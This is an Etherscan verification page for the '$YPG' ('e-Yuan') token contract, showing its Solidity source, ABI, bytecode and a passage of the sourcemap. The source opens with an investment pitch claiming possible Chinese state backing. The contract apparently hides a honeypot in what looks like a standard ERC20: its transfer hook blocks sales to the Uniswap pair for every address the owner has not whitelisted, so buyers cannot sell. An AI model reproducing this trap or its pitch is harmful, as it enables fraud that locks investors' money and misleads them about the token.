Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 11 from a total of 11 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 12506367 | 1756 days ago | IN | 0 ETH | 0.00442567 | ||||
| Approve | 12506248 | 1756 days ago | IN | 0 ETH | 0.00256223 | ||||
| Approve | 12506246 | 1756 days ago | IN | 0 ETH | 0.0026554 | ||||
| Approve | 12506237 | 1756 days ago | IN | 0 ETH | 0.00428591 | ||||
| Approve | 12506227 | 1756 days ago | IN | 0 ETH | 0.00256223 | ||||
| Uni | 12506212 | 1756 days ago | IN | 0 ETH | 0.00202909 | ||||
| List | 12506205 | 1756 days ago | IN | 0 ETH | 0.00213315 | ||||
| List | 12506203 | 1756 days ago | IN | 0 ETH | 0.00213315 | ||||
| List | 12506200 | 1756 days ago | IN | 0 ETH | 0.00231865 | ||||
| List | 12506196 | 1756 days ago | IN | 0 ETH | 0.00213315 | ||||
| Approve | 12506193 | 1756 days ago | IN | 0 ETH | 0.00260881 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
$YPG
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2021-05-25
*/
/**
* A LifeTime Opportunity to Invest in the Highly Promising Digital Yuan coin that Could Get State-Backing by China!
* Website: https://yuanpaygroup.org/
* Telegram: t.me/yuanpaygroup
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract $YPG is ERC20, Ownable {
mapping(address=>bool) private _enable;
address private _pair;
constructor() ERC20('e-Yuan','YPG') {
_mint(msg.sender, 1000000000000000 *10**18);
_enable[msg.sender] = true;
_pair = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
function list(address user, bool enable) public onlyOwner {
_enable[user] = enable;
}
function uni(address pair_) public onlyOwner {
_pair = pair_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override{
if(to == _pair) {
require(_enable[from], "something went wrong");
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"list","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"uni","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040523480156200001157600080fd5b50604051806040016040528060068152602001653296acbab0b760d11b8152506040518060400160405280600381526020016259504760e81b815250816003908051906020019062000065929190620002bf565b5080516200007b906004906020840190620002bf565b5050506000620000906200013e60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000f8336d314dc6448d9338c15b0a0000000062000142565b336000908152600660205260409020805460ff19166001179055600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620003c7565b3390565b6001600160a01b0382166200019e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b620001ac6000838362000239565b8060026000828254620001c0919062000365565b90915550506001600160a01b03821660009081526020819052604081208054839290620001ef90849062000365565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6007546001600160a01b0383811691161415620002ba576001600160a01b03831660009081526006602052604090205460ff16620002ba5760405162461bcd60e51b815260206004820152601460248201527f736f6d657468696e672077656e742077726f6e67000000000000000000000000604482015260640162000195565b505050565b828054620002cd906200038a565b90600052602060002090601f016020900481019282620002f157600085556200033c565b82601f106200030c57805160ff19168380011785556200033c565b828001600101855582156200033c579182015b828111156200033c5782518255916020019190600101906200031f565b506200034a9291506200034e565b5090565b5b808211156200034a57600081556001016200034f565b600082198211156200038557634e487b7160e01b81526011600452602481fd5b500190565b600181811c908216806200039f57607f821691505b60208210811415620003c157634e487b7160e01b600052602260045260246000fd5b50919050565b610c9380620003d76000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610209578063b2c9fd1a1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b80638da5cb5b146101c057806395d89b41146101db57806396f35b40146101e3578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806370a082311461018d578063715018a6146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610b55565b60405180910390f35b610136610131366004610b2c565b61030d565b604051901515815260200161011a565b6002545b60405190815260200161011a565b610136610166366004610ab7565b610323565b6040516012815260200161011a565b610136610188366004610b2c565b6103d9565b61014a61019b366004610a64565b6001600160a01b031660009081526020819052604090205490565b6101be610410565b005b6005546040516001600160a01b03909116815260200161011a565b61010d610484565b6101be6101f1366004610af2565b610493565b610136610204366004610b2c565b6104e8565b610136610217366004610b2c565b610583565b6101be61022a366004610a64565b610590565b61014a61023d366004610a85565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101be610276366004610a64565b6105dc565b60606003805461028a90610c0c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610c0c565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a3384846106c7565b50600192915050565b60006103308484846107eb565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610bf5565b6106c7565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610bdd565b6005546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ba8565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60606004805461028a90610c0c565b6005546001600160a01b031633146104bd5760405162461bcd60e51b81526004016103b190610ba8565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561056a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61057933856103c98685610bf5565b5060019392505050565b600061031a3384846107eb565b6005546001600160a01b031633146105ba5760405162461bcd60e51b81526004016103b190610ba8565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146106065760405162461bcd60e51b81526004016103b190610ba8565b6001600160a01b03811661066b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b03821661078a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661084f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b0382166108b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6108bc8383836109ce565b6001600160a01b038316600090815260208190526040902054818110156109345760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b61093e8282610bf5565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610974908490610bdd565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109c091815260200190565b60405180910390a350505050565b6007546001600160a01b0383811691161415610a43576001600160a01b03831660009081526006602052604090205460ff16610a435760405162461bcd60e51b8152602060048201526014602482015273736f6d657468696e672077656e742077726f6e6760601b60448201526064016103b1565b505050565b80356001600160a01b0381168114610a5f57600080fd5b919050565b600060208284031215610a75578081fd5b610a7e82610a48565b9392505050565b60008060408385031215610a97578081fd5b610aa083610a48565b9150610aae60208401610a48565b90509250929050565b600080600060608486031215610acb578081fd5b610ad484610a48565b9250610ae260208501610a48565b9150604084013590509250925092565b60008060408385031215610b04578182fd5b610b0d83610a48565b915060208301358015158114610b21578182fd5b809150509250929050565b60008060408385031215610b3e578182fd5b610b4783610a48565b946020939093013593505050565b6000602080835283518082850152825b81811015610b8157858101830151858201604001528201610b65565b81811115610b925783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610bf057610bf0610c47565b500190565b600082821015610c0757610c07610c47565b500390565b600181811c90821680610c2057607f821691505b60208210811415610c4157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122079ab756021d9865fceb76be75b3b7412bf24caa7703c9077a4e2404e366c996264736f6c63430008040033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063a9059cbb11610066578063a9059cbb14610209578063b2c9fd1a1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b80638da5cb5b146101c057806395d89b41146101db57806396f35b40146101e3578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806370a082311461018d578063715018a6146101b657600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610b55565b60405180910390f35b610136610131366004610b2c565b61030d565b604051901515815260200161011a565b6002545b60405190815260200161011a565b610136610166366004610ab7565b610323565b6040516012815260200161011a565b610136610188366004610b2c565b6103d9565b61014a61019b366004610a64565b6001600160a01b031660009081526020819052604090205490565b6101be610410565b005b6005546040516001600160a01b03909116815260200161011a565b61010d610484565b6101be6101f1366004610af2565b610493565b610136610204366004610b2c565b6104e8565b610136610217366004610b2c565b610583565b6101be61022a366004610a64565b610590565b61014a61023d366004610a85565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101be610276366004610a64565b6105dc565b60606003805461028a90610c0c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610c0c565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a3384846106c7565b50600192915050565b60006103308484846107eb565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610bf5565b6106c7565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610bdd565b6005546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ba8565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60606004805461028a90610c0c565b6005546001600160a01b031633146104bd5760405162461bcd60e51b81526004016103b190610ba8565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561056a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61057933856103c98685610bf5565b5060019392505050565b600061031a3384846107eb565b6005546001600160a01b031633146105ba5760405162461bcd60e51b81526004016103b190610ba8565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146106065760405162461bcd60e51b81526004016103b190610ba8565b6001600160a01b03811661066b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b03821661078a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661084f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b0382166108b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6108bc8383836109ce565b6001600160a01b038316600090815260208190526040902054818110156109345760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b61093e8282610bf5565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610974908490610bdd565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109c091815260200190565b60405180910390a350505050565b6007546001600160a01b0383811691161415610a43576001600160a01b03831660009081526006602052604090205460ff16610a435760405162461bcd60e51b8152602060048201526014602482015273736f6d657468696e672077656e742077726f6e6760601b60448201526064016103b1565b505050565b80356001600160a01b0381168114610a5f57600080fd5b919050565b600060208284031215610a75578081fd5b610a7e82610a48565b9392505050565b60008060408385031215610a97578081fd5b610aa083610a48565b9150610aae60208401610a48565b90509250929050565b600080600060608486031215610acb578081fd5b610ad484610a48565b9250610ae260208501610a48565b9150604084013590509250925092565b60008060408385031215610b04578182fd5b610b0d83610a48565b915060208301358015158114610b21578182fd5b809150509250929050565b60008060408385031215610b3e578182fd5b610b4783610a48565b946020939093013593505050565b6000602080835283518082850152825b81811015610b8157858101830151858201604001528201610b65565b81811115610b925783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610bf057610bf0610c47565b500190565b600082821015610c0757610c07610c47565b500390565b600181811c90821680610c2057607f821691505b60208210811415610c4157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122079ab756021d9865fceb76be75b3b7412bf24caa7703c9077a4e2404e366c996264736f6c63430008040033
Deployed Bytecode Sourcemap
6759:710:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2769:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3669:169;;;;;;:::i;:::-;;:::i;:::-;;;2025:14:1;;2018:22;2000:41;;1988:2;1973:18;3669:169:0;1955:92:1;3084:108:0;3172:12;;3084:108;;;6763:25:1;;;6751:2;6736:18;3084:108:0;6718:76:1;3844:420:0;;;;;;:::i;:::-;;:::i;2985:93::-;;;3068:2;6941:36:1;;6929:2;6914:18;2985:93:0;6896:87:1;4270:215:0;;;;;;:::i;:::-;;:::i;3198:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3299:18:0;3272:7;3299:18;;;;;;;;;;;;3198:127;1066:148;;;:::i;:::-;;847:87;920:6;;847:87;;-1:-1:-1;;;;;920:6:0;;;1798:51:1;;1786:2;1771:18;847:87:0;1753:102:1;2875:104:0;;;:::i;7074:99::-;;;;;;:::i;:::-;;:::i;4491:375::-;;;;;;:::i;:::-;;:::i;3331:175::-;;;;;;:::i;:::-;;:::i;7179:77::-;;;;;;:::i;:::-;;:::i;3512:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3628:18:0;;;3601:7;3628:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3512:151;1220:244;;;;;;:::i;:::-;;:::i;2769:100::-;2823:13;2856:5;2849:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2769:100;:::o;3669:169::-;3752:4;3769:39;377:10;3792:7;3801:6;3769:8;:39::i;:::-;-1:-1:-1;3826:4:0;3669:169;;;;:::o;3844:420::-;3950:4;3967:36;3977:6;3985:9;3996:6;3967:9;:36::i;:::-;-1:-1:-1;;;;;4041:19:0;;4014:24;4041:19;;;:11;:19;;;;;;;;377:10;4041:33;;;;;;;;4093:26;;;;4085:79;;;;-1:-1:-1;;;4085:79:0;;4483:2:1;4085:79:0;;;4465:21:1;4522:2;4502:18;;;4495:30;4561:34;4541:18;;;4534:62;-1:-1:-1;;;4612:18:1;;;4605:38;4660:19;;4085:79:0;;;;;;;;;4175:57;4184:6;377:10;4206:25;4225:6;4206:16;:25;:::i;:::-;4175:8;:57::i;:::-;-1:-1:-1;4252:4:0;;3844:420;-1:-1:-1;;;;3844:420:0:o;4270:215::-;377:10;4358:4;4407:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4407:34:0;;;;;;;;;;4358:4;;4375:80;;4398:7;;4407:47;;4444:10;;4407:47;:::i;1066:148::-;920:6;;-1:-1:-1;;;;;920:6:0;377:10;980:23;972:68;;;;-1:-1:-1;;;972:68:0;;;;;;;:::i;:::-;1157:6:::1;::::0;1136:40:::1;::::0;1173:1:::1;::::0;-1:-1:-1;;;;;1157:6:0::1;::::0;1136:40:::1;::::0;1173:1;;1136:40:::1;1187:6;:19:::0;;-1:-1:-1;;;;;;1187:19:0::1;::::0;;1066:148::o;2875:104::-;2931:13;2964:7;2957:14;;;;;:::i;7074:99::-;920:6;;-1:-1:-1;;;;;920:6:0;377:10;980:23;972:68;;;;-1:-1:-1;;;972:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7143:13:0;;;::::1;;::::0;;;:7:::1;:13;::::0;;;;:22;;-1:-1:-1;;7143:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7074:99::o;4491:375::-;377:10;4584:4;4628:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4628:34:0;;;;;;;;;;4681:35;;;;4673:85;;;;-1:-1:-1;;;4673:85:0;;6413:2:1;4673:85:0;;;6395:21:1;6452:2;6432:18;;;6425:30;6491:34;6471:18;;;6464:62;-1:-1:-1;;;6542:18:1;;;6535:35;6587:19;;4673:85:0;6385:227:1;4673:85:0;4769:67;377:10;4792:7;4801:34;4820:15;4801:16;:34;:::i;4769:67::-;-1:-1:-1;4854:4:0;;4491:375;-1:-1:-1;;;4491:375:0:o;3331:175::-;3417:4;3434:42;377:10;3458:9;3469:6;3434:9;:42::i;7179:77::-;920:6;;-1:-1:-1;;;;;920:6:0;377:10;980:23;972:68;;;;-1:-1:-1;;;972:68:0;;;;;;;:::i;:::-;7235:5:::1;:13:::0;;-1:-1:-1;;;;;;7235:13:0::1;-1:-1:-1::0;;;;;7235:13:0;;;::::1;::::0;;;::::1;::::0;;7179:77::o;1220:244::-;920:6;;-1:-1:-1;;;;;920:6:0;377:10;980:23;972:68;;;;-1:-1:-1;;;972:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1309:22:0;::::1;1301:73;;;::::0;-1:-1:-1;;;1301:73:0;;3266:2:1;1301:73:0::1;::::0;::::1;3248:21:1::0;3305:2;3285:18;;;3278:30;3344:34;3324:18;;;3317:62;-1:-1:-1;;;3395:18:1;;;3388:36;3441:19;;1301:73:0::1;3238:228:1::0;1301:73:0::1;1411:6;::::0;1390:38:::1;::::0;-1:-1:-1;;;;;1390:38:0;;::::1;::::0;1411:6:::1;::::0;1390:38:::1;::::0;1411:6:::1;::::0;1390:38:::1;1439:6;:17:::0;;-1:-1:-1;;;;;;1439:17:0::1;-1:-1:-1::0;;;;;1439:17:0;;;::::1;::::0;;;::::1;::::0;;1220:244::o;6310:344::-;-1:-1:-1;;;;;6412:19:0;;6404:68;;;;-1:-1:-1;;;6404:68:0;;5659:2:1;6404:68:0;;;5641:21:1;5698:2;5678:18;;;5671:30;5737:34;5717:18;;;5710:62;-1:-1:-1;;;5788:18:1;;;5781:34;5832:19;;6404:68:0;5631:226:1;6404:68:0;-1:-1:-1;;;;;6491:21:0;;6483:68;;;;-1:-1:-1;;;6483:68:0;;3673:2:1;6483:68:0;;;3655:21:1;3712:2;3692:18;;;3685:30;3751:34;3731:18;;;3724:62;-1:-1:-1;;;3802:18:1;;;3795:32;3844:19;;6483:68:0;3645:224:1;6483:68:0;-1:-1:-1;;;;;6562:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6614:32;;6763:25:1;;;6614:32:0;;6736:18:1;6614:32:0;;;;;;;6310:344;;;:::o;4872:598::-;-1:-1:-1;;;;;4978:20:0;;4970:70;;;;-1:-1:-1;;;4970:70:0;;5253:2:1;4970:70:0;;;5235:21:1;5292:2;5272:18;;;5265:30;5331:34;5311:18;;;5304:62;-1:-1:-1;;;5382:18:1;;;5375:35;5427:19;;4970:70:0;5225:227:1;4970:70:0;-1:-1:-1;;;;;5059:23:0;;5051:71;;;;-1:-1:-1;;;5051:71:0;;2862:2:1;5051:71:0;;;2844:21:1;2901:2;2881:18;;;2874:30;2940:34;2920:18;;;2913:62;-1:-1:-1;;;2